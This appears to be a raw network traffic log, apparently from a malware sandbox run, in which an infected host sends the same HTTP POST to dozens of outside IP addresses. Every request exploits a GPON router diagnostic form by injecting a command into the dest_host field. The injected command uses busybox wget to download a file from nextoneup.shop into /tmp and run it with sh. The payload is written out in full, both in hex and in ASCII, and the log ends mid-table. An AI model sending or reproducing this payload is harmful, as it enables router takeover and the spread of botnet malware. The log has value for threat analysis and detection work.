Apr 14, 2024 03:59:50.745836973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.13	47640	118.33.9.33	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745863914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.13	40422	109.72.147.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745893955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.13	38630	212.203.180.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745922089 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.13	46760	118.78.52.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745948076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.13	36386	42.216.141.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.745975018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.13	36132	178.193.177.250	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746001005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.13	45564	37.2.196.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746032953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.13	47642	109.188.13.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746074915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.13	44928	148.177.166.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746129990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.13	34734	94.220.91.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746145964 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.13	33166	94.116.70.112	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746196032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.13	37524	37.94.12.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746220112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.13	58428	5.44.239.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746248007 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.13	33960	118.221.172.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746304989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.13	44274	178.164.80.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746315002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
268	192.168.2.13	48766	123.202.195.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746335983 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
269	192.168.2.13	42806	42.246.58.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746375084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
270	192.168.2.13	35268	202.239.241.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746422052 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
271	192.168.2.13	40310	109.105.21.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746437073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
272	192.168.2.13	43686	5.255.108.113	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746460915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
273	192.168.2.13	55164	5.0.41.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746517897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
274	192.168.2.13	49126	118.254.167.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746540070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
275	192.168.2.13	45606	212.231.81.112	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746540070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
276	192.168.2.13	41760	42.245.159.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746567965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.13	47760	212.205.49.93	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746613026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
